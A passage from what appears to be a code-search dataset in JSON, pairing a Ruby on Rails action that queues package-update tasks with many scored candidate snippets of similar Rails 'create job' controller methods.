"text": "def create\n @task = Task.new(task_state: TaskState.where(name: \"Pending\")[0] )\n\n if params[:all]\n # get task IDs from system, map to strings\n @task.concrete_package_versions << System.find(params[:system_id]).concrete_package_versions.where(concrete_package_state: ConcretePackageState.first ) #TODO: centralised state manager\n else\n # get task IDs from submitted array\n if params[:updates]\n params[:updates].each do |updateID|\n @task.concrete_package_versions << ConcretePackageVersion.find( updateID )\n end\n end\n end\n\n if ( ConcretePackageState.exists?(name: \"Queued for Installation\") )\n stateQueued = ConcretePackageState.where(name: \"Queued for Installation\")[0]\n @task.concrete_package_versions.each do |update|\n update.concrete_package_state = stateQueued\n update.save()\n end\n end\n\n @task.tries = 0\n @task.save\n\n if current_user\n @job = Job.new(user: current_user,\n started_at: Time.new)\n @job.tasks << @task\n @job.save\n\n BackgroundSender.perform_async( @task )\n\n redirect_to @job\n else\n #TODO: log!\n end\n\n end",
"title": ""
}
] | [
{
"docid": "2d09372c21c7a4259d28cc4d7e820739",
"score": "0.74641937",
"text": "def create\n @job = current_user.posted_jobs.build(job_params)\n if @job.save\n render json: @job\n else\n render json: @job.errors.full_messages, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "b72fdb1e7b415759072854c64bbdd936",
"score": "0.73064774",
"text": "def create\n job = Job.create(job_params)\n render json: job\n end",
"title": ""
},
{
"docid": "40c0ea83870617fc2c0040b6f07fa535",
"score": "0.70868206",
"text": "def new_job(job, username, password)\n puts \"Requesting quote for job:\"\n puts JSON.pretty_generate(job)\n puts \"\"\n res = post_json('jobs.json', job, username, password)\n if res['error'] || res['status'] == 'error'\n puts \"Job rejected (error #{res['status']}): #{res['error'] || res['reason']}\"\n return\n end\n\n puts \"Gnip's job desc:\"\n puts summarise_job(res)\nend",
"title": ""
},
{
"docid": "953bd2c84aed28bc15799a7cc4a6e0c4",
"score": "0.70318276",
"text": "def create_job(job:, params: {})\n response = HTTParty.post(\"#{@host}/api/jobs\", body: {job: job, api_key: @api_key}.merge(params))\n \n return response\n end",
"title": ""
},
{
"docid": "c7c253e0af67b6400979c22fb3a52254",
"score": "0.7020725",
"text": "def create\n\t\tjob = Job.new\n\t\tjob.user_id = current_user.id\n\t\tjob.http_method \t= params[:http_method]\n\t\tjob.http_uri \t\t= params[:http_uri]\n\t\tjob.http_host \t\t= params[:http_host]\n\t\tjob.http_headers\t= params[:http_headers]\n\t\tjob.http_data\t\t= params[:http_data]\n\n\t\t# Set job type to bruteforce by default. This will change, but\n\t\t# for now we don't care about responses.\n\t\tjob.attack_type\t\t\t= \"repeat\"\n\n\t\t# Set status to pending by default -- this may change in future\n\t\tjob.status \t\t\t= \"pending\"\n\n\t\tjob.save\n\n\t\trender :json => job.to_json\n\tend",
"title": ""
},
{
"docid": "47c1c18a956386970b9b22db96e2c90c",
"score": "0.70076245",
"text": "def create\n @job = @user.jobs.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "849ebadf7db25f8ad3441ebc9c50b650",
"score": "0.69820875",
"text": "def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5ffe57ff9cb8304be85f7c0a71f168b",
"score": "0.6932717",
"text": "def create\n @job = Job.new(params[:job])\n @job.status = 'listed'\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1d170ca423c187271df48d6daaa2bbcd",
"score": "0.6932393",
"text": "def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n JobsWorker.perform_async(@job.id, @job.server.id)\n flash[:success] = 'Job was successfully created.'\n format.html { redirect_to jobs_path }\n format.json { render :show, status: :created, location: @job }\n else\n flash[:error] = 'Please fill all fields correctly !!'\n format.html { redirect_to root_url }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "75431c3eca3ad099e302bf4a5d31490c",
"score": "0.6921801",
"text": "def create\n\t\t@job = Job.new(params[:job])\n\n\t\trespond_to do |format|\n\t\t\tif @job.save\n\t\t\t\tformat.html { redirect_to @job, notice: 'Job was successfully created.' }\n\t\t\t\tformat.json { render json: @job, status: :created, location: @job }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @job.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "ae1eb9476c1d2822f627e900231e1bcd",
"score": "0.690776",
"text": "def create\n @job = @user.jobs.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to :dashboard, notice: \"Job was successfully created.\" }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3de276ace148a2e6dd72541fcf6f46d4",
"score": "0.6904804",
"text": "def create(id, job)\n connection.post do |req|\n req.url \"job/#{id}\"\n req.body = job\n end\n end",
"title": ""
},
{
"docid": "3e971ae9750e0e2a112179eccbeb82fe",
"score": "0.68841195",
"text": "def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3e971ae9750e0e2a112179eccbeb82fe",
"score": "0.68841195",
"text": "def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3e971ae9750e0e2a112179eccbeb82fe",
"score": "0.68841195",
"text": "def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "616d80acbabeee28f4f13fdfee49f01a",
"score": "0.6880201",
"text": "def create\n @job = current_company.jobs.build(params[:job])\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Vaga criada com sucesso' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c25db79e6ce1ae398476347b2b9c824c",
"score": "0.6878812",
"text": "def create\n arg = params[:email]\n counter = Job.enqueue(arg)\n render :status => :accepted, :json => { jobId: counter }\n end",
"title": ""
},
{
"docid": "8739a050868149373088c48eaf455ee8",
"score": "0.68659544",
"text": "def create\n @myjob = Myjob.new(myjob_params)\n\n respond_to do |format|\n if @myjob.save\n format.html { redirect_to @myjob, notice: 'Myjob was successfully created.' }\n format.json { render :show, status: :created, location: @myjob }\n else\n format.html { render :new }\n format.json { render json: @myjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e2c6bafe5199e10e3493deb1f59e954e",
"score": "0.6856052",
"text": "def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to root_path, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c4c0e33e15c2ab7fd78d172448a6bf2e",
"score": "0.6820773",
"text": "def create\n @job = Job.new(job_params)\n @job.user = current_user\n if @job.save\n render json: { redirect_url: job_url(@job), notice: \"Thanks for posting! Your job is now pending review.\" }\n else\n render json: @job.errors\n end\n end",
"title": ""
},
{
"docid": "8818ceea6bd4df03dd1ec7b765c74edb",
"score": "0.6802524",
"text": "def create_batch_job(job_id)\n request = Net::HTTP::Put.new(\"/jobs/#{job_id}\")\n response = http.request(request)\n handle_response({ request_method: request.method, request_path: request.path }, response)\n end",
"title": ""
},
{
"docid": "2d40f8d86a4fbc54870cd1071b59072d",
"score": "0.6800804",
"text": "def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4ff53488fde586c7bb3f343d6f69538a",
"score": "0.67782366",
"text": "def create_job(json_payload)\n conn = @client.post do |req|\n req.url '/api/v2/job/create'\n req.headers[\"Authorization\"] = @token\n req.body = json_payload\n end\n conn.body\n end",
"title": ""
},
{
"docid": "94ef952df1bdc80484f8559397933175",
"score": "0.6699477",
"text": "def create\n\n printer_ids = JSON.parse(job_params[:printer])\n\n printers = Printer.where(id: printer_ids)\n\n job_params_fixed = job_params\n\n job_params_fixed[:printer] = nil\n\n\n printers.each do |printer|\n\n @job = Job.new(job_params_fixed)\n\n @job.printer = printer\n\n @job.status = \"Unassigned\"\n @job.save\n end\n\n redirect_to root_path\n\n # respond_to do |format|\n # if @job.save\n # format.html { redirect_to @job, notice: 'Job was successfully created.' }\n # format.json { render :show, status: :created, location: @job }\n # else\n # format.html { render :new }\n # format.json { render json: @job.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"title": ""
},
{
"docid": "a19d8430966513486b50c5ec262f46c3",
"score": "0.6675743",
"text": "def create\n @job_post = JobPost.new(job_post_params)\n\n if @job_post.save\n render :show, status: :created, location: @job_post\n else\n render json: @job_post.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "a14d6604fdd7a9146e0a94c13d08c336",
"score": "0.66638595",
"text": "def create\n @job = current_user.jobs.new(job_params)\n respond_to do |format|\n if @job.save\n \ttrack_activity @job\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c624094365429af7ab3a9422e159cbc2",
"score": "0.6657965",
"text": "def create\n @postjob = Postjob.new(postjob_params)\n\n respond_to do |format|\n if @postjob.save\n format.html { redirect_to @postjob, notice: 'Postjob was successfully created.' }\n format.json { render :show, status: :created, location: @postjob }\n else\n format.html { render :new }\n format.json { render json: @postjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "88d8620ee7737aadb9c5a2464a3409e0",
"score": "0.66499007",
"text": "def list_jobs(json_payload={})\n conn = @client.get do |req|\n req.url '/api/v2/job/list?'\n req.headers[\"Authorization\"] = @token\n req.params = json_payload\n end\n conn.body\n end",
"title": ""
},
{
"docid": "610b4b7fecf8ade9dd0302b03e8ffcf1",
"score": "0.664411",
"text": "def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "610b4b7fecf8ade9dd0302b03e8ffcf1",
"score": "0.664411",
"text": "def new\n @job = @user.jobs.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "d56cf29241ea7fb7f06aded2f55a978d",
"score": "0.6639388",
"text": "def create\n @job = current_member.jobs.new(job_params)\n @job.published_at = DateTime.now\n\n\n respond_to do |format|\n if @job.save\n\n format.html { redirect_to @job, notice: 'The stuff you want done was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9ffc0e2dc6c7be61ee3d85d660b4050d",
"score": "0.6585875",
"text": "def create\n @create_job = CreateJob.new(create_job_params)\n\n respond_to do |format|\n if @create_job.save\n format.html { redirect_to @create_job, notice: 'Create job was successfully created.' }\n format.json { render :show, status: :created, location: @create_job }\n else\n format.html { render :new }\n format.json { render json: @create_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "444df947ad121a813e2f0f08800696a8",
"score": "0.6580278",
"text": "def jobs\n\t\t# ...\n\tend",
"title": ""
},
{
"docid": "b4a920abbfd7f0e05cb0d29452672ad4",
"score": "0.6563387",
"text": "def create_batch\n begin\n # create the new batch\n batch = BatchJob.new\n batch.name = params[:name]\n batch.job_type = params[:type_id]\n batch.ocr_engine_id = params[:engine_id]\n batch.font_id = params[:font_id]\n batch.parameters = params[:params]\n batch.notes = params[:notes]\n batch.save!\n \n # populate it with pages from the selected works\n json_payload = ActiveSupport::JSON.decode(params[:json])\n json_payload['works'].each do | work_id |\n pages = Page.where(\"pg_work_id = ?\", work_id)\n pages.each do | page |\n job = JobQueue.new\n job.batch_id = batch.id\n job.page_id = page.pg_page_id\n job.job_status = 1\n job.work_id=work_id\n job.save!\n end\n end\n\n # get a new summary for the job queue\n status = get_job_queue_status()\n render :json => ActiveSupport::JSON.encode(status), :status => :ok \n \n rescue => e\n render :text => e.message, :status => :error\n end \n end",
"title": ""
},
{
"docid": "c04d2814ce7ba6e4496e89d0f1cce17a",
"score": "0.65632266",
"text": "def create\n @job = Job.new(job_params)\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to mentor_job_path(@job), notice: 'Job was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job }\n else\n format.html { render action: 'new' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "cb087504c25a7c4fc42b6c60aeb4b1f7",
"score": "0.65519947",
"text": "def create\n #@job = Job.new(params[:job])\n @job = current_user.jobs.new(params[:job])\n \n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render json: @job, status: :created, location: @job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "942eb61f92904a4870f9bd26f14dec94",
"score": "0.65470797",
"text": "def create\n if current_user.saved_jobs.where(job_id: params[:saved_job][:job_id]).count > 0\n respond_to do |format|\n format.html { redirect_to worker_all_jobs_path, notice: t('saved_jobs_controller.saved_jobs_create_error') }\n end\n else\n @saved_job = current_user.saved_jobs.new(saved_job_params)\n\n respond_to do |format|\n if @saved_job.save\n format.html { redirect_to worker_all_jobs_path, notice: t('saved_jobs_controller.saved_jobs_create_success') }\n format.json { render :show, status: :created, location: @saved_job }\n\n else\n format.html { render :new }\n format.json { render json: @saved_job.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "67f3539af6eeac240427bc170a6249d4",
"score": "0.65227",
"text": "def create\n @job = Job.new(params[:job])\n @job.company_id = current_company.id\n\n if @job.save\n response_message = {:message => \"Job created successfully.\", :job => @job}\n else\n response_message = {:message => \"Job creation failed. Please try again!\"}\n end\n\n respond_to do |format|\n format.xml { render :xml => response_message}\n format.json { render :json => response_message }\n end\n end",
"title": ""
},
{
"docid": "2ad583d0022db0860bfcc2118101ea67",
"score": "0.6520522",
"text": "def record_job(job_json)\n job = JSON.parse(job_json)\n processing_jobs.create!(\n :account_id => account_id,\n :cloud_crowd_id => job['id'],\n :title => title,\n :remote_job => job\n )\n end",
"title": ""
},
{
"docid": "d092386d022b402070534f1fa34090cf",
"score": "0.649927",
"text": "def index\n @jobs = Job.all\n render json: @jobs\n end",
"title": ""
},
{
"docid": "0e8903cbcb77e4a3ce074755f1ea5921",
"score": "0.6492484",
"text": "def create\n ensure_authenticated!\n\n job = Grid5000::Job.new(job_params)\n Rails.logger.info \"Received job = #{job.inspect}\"\n raise BadRequest, \"The job you are trying to submit is not valid: #{job.errors.join('; ')}\" unless job.valid?\n\n job_to_send = job.to_hash(destination: 'oar-2.4-submission')\n Rails.logger.info \"Submitting #{job_to_send.inspect}\"\n\n result = @oarapi.create_job(job_to_send)\n\n job_uid = JSON.parse(result)['id']\n location_uri = uri_to(\n resource_path(job_uid),\n :in, :absolute\n )\n\n job = OAR::Job.expanded.includes(:job_types, :job_events, :gantt).find(job_uid)\n job.links = links_for_item(job)\n\n render_opts = {\n methods: %i[resources_by_type assigned_nodes],\n location: location_uri,\n status: 201\n }\n render_result(job, render_opts)\n end",
"title": ""
},
{
"docid": "3bc2606635c5a859f5986f0894dbceca",
"score": "0.64791805",
"text": "def index\n @jobs = Job.all\n\n render json: @jobs\n end",
"title": ""
},
{
"docid": "dbee5959eaffc102a28bd3ca396f45cf",
"score": "0.64784694",
"text": "def create\n @job = Job.new(job_params)\n \n respond_to do |format|\n if @job.save\n format.html { redirect_to '/admin/'+@job.company.id.to_s , notice: \"Job was successfully created.\" }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ea804a20911f1cb2522919adf9e6c4a4",
"score": "0.64744866",
"text": "def create\n @pending_job = PendingJob.new(pending_job_params)\n current_stage = 'E'\n @pending_job.time_queued = Time.now\n @pending_job.current_stage = current_stage\n @pending_job.current_stage_started = Time.now\n\n respond_to do |format|\n if @pending_job.save\n EFinishJob.perform_in(1.minutes, @pending_job.id, @pending_job.course, @pending_job.assignment, @pending_job.username)\n format.html { redirect_to @pending_job, notice: 'Pending job was successfully created.' }\n format.json { render :show, status: :created, location: @pending_job }\n else\n format.html { render :new }\n format.json { render json: @pending_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9e8fa300c63acdeb57c1fc647ff500a1",
"score": "0.6463607",
"text": "def create\n @job = Job.new(job_params)\n @job.creator = current_user\n @job.tasks.each do |task|\n if @job.job_type.present?\n task.type = \"#{@job.job_type.to_s.singularize.capitalize}Task\"\n end\n task.creator = current_user\n task.worker ||= current_user\n task.payoff_amount_cents ||= 0\n end\n respond_to do |format|\n if @job.save\n @job.tasks.each{ |task| task.set_price }\n format.html {\n if params[:commit].to_s.match(/save.*new/i)\n redirect_to new_job_path(client_id: @job.client_id, job_type: @job.job_type), notice: 'Job was successfully created. Create another one below...' \n else\n redirect_to @job, notice: 'Job was successfully created.'\n end\n }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d390e0162513238d09b661e8c9964266",
"score": "0.6461046",
"text": "def add_to_queue\n @list = current_user.list\n if @list.add_job(params[:id])\n respond_to do |format|\n format.json { render :json => @list.jobs }\n end\n else\n flash[:errors] = \"Sorry, something went wrong\"\n redirect_to :back\n end\n end",
"title": ""
},
{
"docid": "5bd4edb58d56e9a01b769cff1fb4c672",
"score": "0.645945",
"text": "def create\n @job.user_id = current_user.id\n respond_to do |format|\n if @job.save\n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n format.json { render :json => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n format.json { render :json => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7f1cf4b2fb01142ebccbe2fb129b80bd",
"score": "0.6449949",
"text": "def new\n @jobs = Job.new(params[:accepted_jobs])\n\n @jobs.user_id = current_user.id\n\n pp @jobs\n\n # respond_to do |format|\n # if @jobs.save\n # format.html { redirect_to home_path, notice: 'Request was successfully created.' }\n # format.json { render json: @jobs, status: :created, location: home_path }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @jobs.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"title": ""
},
{
"docid": "6f7713d560332887af28cf5dad721ac0",
"score": "0.6441076",
"text": "def create\n @job = Job.new(job_params)\n @job.user_id = current_user.id\n @job.organization_id = current_user.organization_id\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "74f6f087f911e52738441fd7db8f8b6a",
"score": "0.6440606",
"text": "def create\n @launched_job = LaunchedJob.new(launched_job_params)\n\n respond_to do |format|\n if @launched_job.save\n format.html { redirect_to @launched_job, notice: 'Launched job was successfully created.' }\n format.json { render json: @launched_job, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @launched_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "777b21b64eceeb02fd07cfd47d5bb43b",
"score": "0.64192486",
"text": "def create\n @job = Job.new(job_params.merge({\n owner_id: current_user_id,\n owner_name: current_user_name,\n user_id: current_user_db_record.id,\n remote: job_params[:remote]\n }))\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f5cfd99318fcc571c25564c2ea7bdfe3",
"score": "0.639435",
"text": "def create\n @act_job = ActJob.new(act_job_params)\n\n respond_to do |format|\n if @act_job.save\n format.html { redirect_to @act_job, notice: 'Act job was successfully created.' }\n format.json { render :show, status: :created, location: @act_job }\n else\n format.html { render :new }\n format.json { render json: @act_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6ab91d14c3a93406106dd9a5741aa68c",
"score": "0.6389524",
"text": "def post_job_content_sample(client)\n job_multipart = {\n :file => File.new($full_path),\n 'num copies' => 10\n }\n\n response = client['jobs'].post job_multipart\n\n p ''\n p 'Submit a new job'\n p response\nend",
"title": ""
},
{
"docid": "6c5e32852e00001898f44bfb1e3705e3",
"score": "0.63838416",
"text": "def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to job_url(@job) }\n format.xml { head :created, :location => job_url(@job) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors.to_xml }\n end\n end\n end",
"title": ""
},
{
"docid": "a58665ea0645ad152187c85e0af648ed",
"score": "0.6378053",
"text": "def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to(@job, :notice => 'Job was successfully created.') }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3e27448cff7c98b3d12417976f83e40c",
"score": "0.6362768",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"title": ""
},
{
"docid": "df5e7f0ceab219902a16837c12787506",
"score": "0.6361608",
"text": "def create\n @job_item = @job.job_items.build(params[:job_item])\n\n respond_to do |format|\n if @job_item.save\n format.html { redirect_to [@job, @job_item], notice: 'Job item was successfully created.' }\n format.json { render json: @job_item, status: :created, location: @job_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b1e1a4a42416c09b52e0dfcf2ccdd6c4",
"score": "0.63593835",
"text": "def create\n @job = current_user.jobs.build(params[:job])\n if @job.save\n flash[:success] = \"Job Added!\"\n redirect_to root_url\n else\n render 'new'\n end\n\n end",
"title": ""
},
{
"docid": "810108f226fd7e2b3dfa2d47208bde5b",
"score": "0.6354577",
"text": "def create\n @job = Vger::Resources::Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n format.html { redirect_to company_job(:company_id => params[:company_id], :id => @job.id), notice: 'Job was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"title": ""
},
{
"docid": "20491f1f94acff0638c455601fd751e3",
"score": "0.6350836",
"text": "def job_params\n params.require(:job).permit(:name, :client_id, :description, :quantity, :datein, :duedate, :completeper, :expectedin, :completed, :status, :comment)\n end",
"title": ""
},
{
"docid": "da1acb22fab0073deab71c6920e1039f",
"score": "0.63418674",
"text": "def create\n @job = current_user.jobs.new( job_params )\n\n if @job.save\n redirect_to @job, notice: 'Job created.'\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "98ebf4d4091f00d31a450d80041a52e4",
"score": "0.6341601",
"text": "def jobs_post(body, opts = {})\n data, status_code, headers = jobs_post_with_http_info(body, opts)\n return data\n end",
"title": ""
},
{
"docid": "344e55f86d910b03acd9cb18618d9a5d",
"score": "0.63388187",
"text": "def create\n ensure_authenticated!\n\n job = Grid5000::Job.new(payload)\n Rails.logger.info \"Received job = #{job.inspect}\"\n raise BadRequest, \"The job you are trying to submit is not valid: #{job.errors.join(\"; \")}\" unless job.valid?\n job_to_send = job.to_hash(:destination => \"oar-2.4-submission\")\n Rails.logger.info \"Submitting #{job_to_send.inspect}\"\n\n url = uri_to(\n site_path(params[:site_id])+\"/internal/oarapi/jobs.json\", :out\n )\n http = EM::HttpRequest.new(url).post(\n :timeout => 20,\n :body => job_to_send.to_json,\n :head => {\n 'X-Remote-Ident' => @credentials[:cn],\n 'Content-Type' => media_type(:json),\n 'Accept' => media_type(:json)\n }\n )\n continue_if!(http, :is => [201,202])\n\n job_uid = JSON.parse(http.response)['id']\n location_uri = uri_to(\n resource_path(job_uid),\n :in, :absolute\n )\n\n job = OAR::Job.expanded.find(\n job_uid,\n :include => [:job_types, :job_events, :gantt]\n )\n job.links = links_for_item(job)\n \n render_opts = {\n :methods => [:resources_by_type, :assigned_nodes],\n :location => location_uri,\n :status => 201\n }\n respond_to do |format|\n format.g5kitemjson { render render_opts.merge(:json => job) }\n format.json { render render_opts.merge(:json => job) }\n end\n end",
"title": ""
},
{
"docid": "a1be2457bd2fee8c1f13eea27688ad0c",
"score": "0.6335929",
"text": "def create\n @job = Job.new(job_params)\n\n if params[:job][:staff].present?\n params[:job][:staff].each do |s|\n @job.staff << Staff.where(id: s)\n end\n end\n if params[:job][:contractor].present?\n @job.contractor = Contractor.find(params[:job][:contractor])\n end\n if params[:job][:date_completed].present? and params[:job][:date_payment_recv].present? and params[:job][:date_completed] <= Time.now and params[:job][:date_payment_recv] <= Time.now\n @job.status = 0\n end\n puts @job.inspect\n respond_to do |format|\n if @job.save\n format.html { redirect_to @job, notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fe545c22adf3e2efb2caaee4d41c5628",
"score": "0.6334812",
"text": "def create\n @job = @employer.jobs.build(job_params)\n respond_to do |format|\n if @job.save\n format.html { redirect_to edit_employer_path(@employer,anchor: \"jobs_tab\"), notice: 'Job was successfully created.' }\n format.json { render :show, status: :created, location: @job }\n else\n format.html { render :new }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8372afe1e9cc3cd5d9c21763baeb1408",
"score": "0.6309098",
"text": "def create\n flash[:notice] = 'Job Created' if @job_category.jobs.create params[:job]\n respond_with @job.job_category, @job\n end",
"title": ""
},
{
"docid": "76880a8db265e93526dbb380aeeb6479",
"score": "0.6296334",
"text": "def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "76880a8db265e93526dbb380aeeb6479",
"score": "0.6296334",
"text": "def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "76880a8db265e93526dbb380aeeb6479",
"score": "0.6296334",
"text": "def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "76880a8db265e93526dbb380aeeb6479",
"score": "0.6296334",
"text": "def create\n @job = Job.new(params[:job])\n\n respond_to do |format|\n if @job.save\n flash[:notice] = 'Job was successfully created.'\n format.html { redirect_to(@job) }\n format.xml { render :xml => @job, :status => :created, :location => @job }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "85d43f3f028761f2a07853b404d33966",
"score": "0.62901354",
